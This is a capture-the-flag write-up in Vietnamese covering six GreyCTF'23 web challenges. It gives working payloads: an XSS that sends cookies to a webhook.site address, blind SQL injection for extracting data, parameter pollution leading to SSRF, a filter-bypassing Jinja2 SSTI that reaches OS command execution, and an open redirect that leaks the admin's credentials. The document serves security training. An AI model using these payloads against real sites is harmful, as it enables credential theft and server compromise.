# GreyCTF'23
---
###### tags: `CTF`
## 1. Fetus Web
***Description: A simple web warmup.***

Một trang blog đơn giản, F12 để đọc source, trong trang `index`:

Đoạn Flag part 1: `grey{St3p_1`
Tiếp tục với `main.js`:

Đoạn Flag part 2: `_of_b4by_W3b}`
Flag: `grey{St3p_1_of_b4by_W3b}`
## 2. Baby Web
***Description: This website seems to have an issue. Let's report it to the admins.***
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/GreyCTF'23/Baby%20Web**

Sau khi đọc source và test thử một vài payload thì mình xác định đây là lỗi XSS và payload sẽ được gửi trực tiếp cho admin.

Flag nằm trong cookie nên payload siên đơn giản:
```
<script>window.location='https://webhook.site/ae9375fc-9349-4b21-945a-7ffdff6ed5db?a='.concat(document.cookie)</script>
```

Flag: `grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}`
## 3. 100 Questions
***Description: I love doing practice papers! There are 100 questions, but the answers to some are more important than others...***
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/GreyCTF'23/100%20Questions**

Trang web sử dụng tham số `qn_id` và `ans` để truy vấn các câu hỏi và câu trả lời từ Database, nếu trả lời đúng thì`Correct!`:

Brute force `qn_id` để xem có question nào đáng nghi không thì mình phát hiện ra `qn_id=42` là câu hỏi về flag:

Oke giờ focus vào đoạn truy vấn sql để lấy `ans` của flag
Đoạn code query:
```python
# get question
db = sqlite3.connect("database.db")
cursor = db.execute(f"SELECT Question FROM QNA WHERE ID = {qn_id}")
qn = cursor.fetchone()[0]
# check answer
cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
result = cursor.fetchall()
correct = True if result != [] else False
```
Trang web sử dụng `sqlite3`, mình sẽ truy vấn đến một câu hỏi đã biết câu trả lời, sau đó injection `and` một điều kiện, nếu đúng thì truy vấn của mình đúng. Payload:
```
?qn_id=1&ans=2'+and+1=1--
```

Tiếp theo là so sánh độ dài của `flag` trong câu 42 để tìm độ dài của `flag`. Payload:
```
?qn_id=1&ans=2%27+and+(select+length(Answer)+from+QNA+where+ID=42)=10--
```
Bước brute force các bạn tự làm nha, độ dài `flag` là 16 ký tự:

Giờ chỉ việc lấy từng ký tự của `flag` đem so sánh với các ký tự trong bảng chữ cái và một vài ký tự đặc biệt hoi. Payload:
```
?qn_id=1&ans=2%27+and+(select+substr(Answer,§§,1)+from+QNA+where+ID=42)='§§'--
```
Brute force ra `flag`:

Flag: `grey{1_c4N7_533}`
## 4. Microservices
***Description: I just learnt about microservices. That means my internal server is safe now right?
I'm still making my website but you can have a free preview***
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/GreyCTF'23/Microservices**

Trong `/homepage/app.py`:
```python=
@app.route("/")
def homepage() -> Response:
"""The homepage for the app"""
cookie = request.cookies.get("cookie", "Guest Pleb")
# If admin, give flag
if cookie == admin_cookie:
return render_template("flag.html", flag=FLAG, user="admin")
# Otherwise, render normal page
response = make_response(render_template("index.html", user=cookie))
response.set_cookie("cookie", cookie)
return response
```
Hàm kiểm tra `cookie` có bằng `admin_cookie` không. Nếu đúng thì trả về flag, nếu sai thì render ra trang `inder.html` và set `cookie` bằng biến `cookie`.
Trong `adminpage/app.py`:
```python=
@app.get("/")
async def index(request: Request):
"""
The base service for admin site
"""
# Currently Work in Progress
requested_service = request.query_params.get("service", None)
if requested_service is None:
return {"message": "requested service is not found"}
# Filter external parties who are not local
if requested_service == "admin_page":
return {"message": "admin page is currently not a requested service"}
# Legit admin on localhost
requested_url = request.query_params.get("url", None)
if requested_url is None:
return {"message": "URL is not found"}
# Testing the URL with admin
response = get(requested_url, cookies={"cookie": admin_cookie})
return Response(response.content, response.status_code)
```
Hàm này kiểm tra tham số `service` trong phương thức GET với `admin_page`, nếu không bằng thì mình có thể gửi yêu cầu GET với tham số `url` và set giá trị của `cookie=admin_cookie`.
Trong `/gateway/app.py`:
```python=
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "home_page")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# Fetch the required page with arguments appended
raw_query_param = request.query_string.decode()
print(f"Requesting {route} with q_str {raw_query_param}", file=sys.stderr)
res = get(f"{route}/?{raw_query_param}")
headers = [
(k, v) for k, v in res.raw.headers.items() if k.lower() not in excluded_headers
]
return Response(res.content, res.status_code, headers)
```
`/gateway/constant.py`:
```python=
routes = {"admin_page": "http://admin_page", "home_page": "http://home_page"}
excluded_headers = [
"content-encoding",
"content-length",
"transfer-encoding",
"connection",
]
```
Nếu tham số `service` có trong `routes` được định nghĩa trong `constant.py`, nó sẽ gửi yêu cầu GET đến `service` với tham số tùy ý.
Sau đó, nó sẽ kiểm tra các `header` trong `excluded_headers` và trả về response.
Mục tiêu của chall là sử dụng `service=admin_page` để gửi GET request tới một url để lấy `cookie_admin`. Tuy nhiên nếu `service=admin_page`, chương trình sẽ dừng lại.
Để bypass qua đoạn này, sử dụng `HTTP Parameter Pollution Explained`. Mình sẽ pollute tham số `service` như sau: `/?service=admin_page&service=home_page`

Oke giờ mình có thể gửi request với tham số `url`. Để lấy flag, mình gán `url=http://home_page/`. Payload đầy đủ:
```
/?service=admin_page&service=home_page&url=http://home_page/
```

Flag: `grey{d0ubl3_ch3ck_y0ur_3ndp0ints_in_m1cr0s3rv1c3s}`
## 5. Microservices Revenge
***Description: I've upgraded the security of this website and added a new feature. Can you still break it?***
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/GreyCTF'23/Microservices%20Revenge**

Đọc source, trang `admin_page` có đoạn code:
```python
@app.get("/")
def index() -> Response:
"""
The base service for admin site
"""
user = request.cookies.get("user", "user")
# Currently Work in Progress
return render_template_string(
f"Sorry {user}, the admin page is currently not open."
)
```
Có thể hiểu là trang `admin_page` lấy giá trị của cookie `user`, nếu không có thì gán bằng chuỗi `'user'`. Sau đó `render_template_string` ra nên mình đoán là SSTI ở cookie.

Code trong trang `gateway`:
```python
# Extra protection for my page.
banned_chars = {
"\\",
"_",
"'",
"%25",
"self",
"config",
"exec",
"class",
"eval",
"get",
}
def is_sus(microservice: str, cookies: dict) -> bool:
"""Check if the arguments are sus"""
acc = [val for val in cookies.values()]
acc.append(microservice)
for word in acc:
for char in word:
if char in banned_chars:
return True
return False
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "homepage")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# My WAF
if is_sus(request.args.to_dict(), request.cookies.to_dict()):
return Response("Why u attacking me???\nGlad This WAF is working!", 400)
# Fetch the required page with arguments appended
with Session() as s:
for k, v in request.cookies.items():
s.cookies.set(k, v)
res = s.get(route, params={k: v for k, v in request.args.items()})
headers = [
(k, v)
for k, v in res.raw.headers.items()
if k.lower() not in excluded_headers
]
return Response(res.content.decode(), res.status_code, headers)
```
Đoạn code trên thực hiện filter giá trị của tham số `service` trên url và giá trị của các cookie. Vì đã filter dấu `'` nên mình thử payload `{{7*"7"}}`

Nó hoạt động => `Jinja2 (Python)`. Loanh quanh trên google mình tìm thấy một payload bypass filter `_` là:
```
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("ls")|attr("read")()}}
```
Nhưng website filter cả dấu `\` nên mình sử dụng truyền bằng `request.args` với payload:
```
{{request|attr("application")|attr([request.args.usc,"globals",request.args.usc]|join)|attr([request.args.usc,"getitem",request.args.usc]|join)([request.args.usc,"builtins",request.args.usc]|join)|attr([request.args.usc,"getitem",request.args.usc]|join)([request.args.usc,"import",request.args.usc]|join)("os")|attr("popen")("ls")|attr("read")()}}
```
Tại sao lại như vậy thì các bạn có thể đọc ở [**đây.**](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti)
Biến `usc` được truyền bằng url, ban đầu mình truyền `usc=\x5f\x5f` nhưng bị lỗi:

Sau đó mình thử để `usc=__` thì lại được:

`cat flag.txt`:

Flag: `grey{55t1_bl4ck1ist_byp455_t0_S5rf_538ad457e9a85747631b250e834ac12d}`
## 6. Login Bot
***Description: I made a reverse blog where anyone can blog but only I can see it (Opposite of me blogging and everyone seeing). You can post your content with my bot and I'll read it.
Sometimes weird errors happen and the bot gets stuck. I've fixed it now so it should work!***
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/GreyCTF'23/Login%20Bot**

Khi truy cập trang chủ, nó chuyển hướng chúng ta đến `/login?next=/`
Trong source code mình focus vào các hàm quan trọng.
Route `/send_post`:
```python=
@app.route('/send_post', methods=['GET', 'POST'])
def send_post() -> Response:
"""Send a post to the admin"""
if request.method == 'GET':
return render_template('send_post.html')
url = request.form.get('url', '/')
title = request.form.get('title', None)
content = request.form.get('content', None)
if None in (url, title, content):
flash('Please fill all fields', 'danger')
return redirect(url_for('send_post'))
# Bot visit
url_value = make_post(url, title, content)
flash('Post sent successfully', 'success')
flash('Url id: ' + str(url_value), 'info')
return redirect('/send_post')
```
Khi gửi yêu cầu POST tới `/send_post`, nó sẽ POST các tham số `url`, `title`, `content`, tham số `url` mặc định là `/`.
Hàm `make_post()`:
```python=
BASE_URL = f"http://localhost:5000"
[...]
def make_post(url: str, title: str, user_content: str) -> int:
"""Make a post to the admin"""
with requests.Session() as s:
visit_url = f"{BASE_URL}/login?next={url}"
resp = s.get(visit_url, timeout=10)
content = resp.content.decode('utf-8')
# Login routine (If website is buggy we run it again.)
for _ in range(2):
print('Logging in... at:', resp.url, file=sys.stderr)
if "bot_login" in content:
# Login routine
resp = s.post(resp.url, data={
'username': 'admin',
'password': FLAG,
})
# Make post
resp = s.post(f"{resp.url}/post", data={
'title': title,
'content': user_content,
})
return db.session.query(Url).count()
```
`visit_url` sẽ là: `http://localhost:5000/login?next={url}`. Tham số `next` là chuyển hướng người dùng sau khi login. Vì vậy, ở đây chúng ta có lỗ hổng `Open Redirect`.
Hàm này sẽ login với tư cách `admin` hai lần.
Sau đó nó cũng sẽ tạo một bài đăng mới với tư cách là `admin bot` qua route `/post`:
```python=
@app.route('/post', methods=['POST'])
def post() -> Response:
if not is_admin():
flash('You are not an admin. Please login to continue', 'danger')
return redirect(f'/login?next={request.path}')
title = request.form['title']
content = request.form['content']
sanitized_content = sanitize_content(content)
if title and content:
post = Post(title=title, content=sanitized_content)
db.session.add(post)
db.session.commit()
flash('Post created successfully', 'success')
return redirect(url_for('index'))
flash('Please fill all fields', 'danger')
return redirect(url_for('index'))
```
Trước khi `post`, nó sẽ `sanitizes` tham số `content` thông qua hàm sanitize_content():
```python=
URL_REGEX = r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))'
[...]
class Url(db.Model):
id = Column(Integer, primary_key=True, autoincrement=True)
url = Column(String(100), nullable=False)
[...]
def sanitize_content(content: str) -> str:
"""Sanitize the content of the post"""
# Replace URLs with in house url tracker
urls = re.findall(URL_REGEX, content)
for url in urls:
url = url[0]
url_obj = Url(url=url)
db.session.add(url_obj)
content = content.replace(url, f"/url/{url_obj.id}")
return content
```
Hàm này sẽ tìm tất cả các URL với regex, về cơ bản nó đang tìm kiếm mô hình: `http(s)://example.com/abc`.
Sau đó, nó sẽ tạo ra một object instance `url_obj` từ class `Url`, và khởi tạo thuộc tính `url` thành URL phù hợp với mẫu regex.
Tiếp theo, nó sẽ thêm `url_obj` vào cơ sở dữ liệu SQLite. Và `content` được thay thế bằng `/url/{url_obj.id}`.
Route `/url/<int:id>`:
```python=
@app.route('/url/<int:id>')
def url(id: int) -> Response:
"""Redirect to the url in post if its sanitized"""
url = Url.query.get_or_404(id)
return redirect(url.url)
```
Trong route trên, cung cấp một `id` từ `url_obj.id`, và nó sẽ cố gắng `fetch` đến `url_obj` với `id`.
Sau đó nó sẽ chuyển hướng đến giá trị thuộc tính `url` của đối tượng `url_obj`.
Nếu tham số `content` chứa URL, nó sẽ thêm URL vào `url_obj.url`.
Bài đăng đầu tiên có tham số `content`, chứa URL của `webhook.site`, URL này sẽ được thêm vào `url_obj.url`:

Nó trả về id Url 205 từ object instance `url_obj`.
Bài viết thứ hai, mình cần cung cấp tham số `url= http://localhost:5000/url/{id}:`

Điều này sẽ chuyển hướng `admin bot` đến URL webhook thông qua tham số `next`, sau đó sẽ gửi POST login tới URL webhook:

Flag: `grey{r3d1recTs_r3Dir3cts_4nd_4ll_0f_th3_r3d1r3ct5}`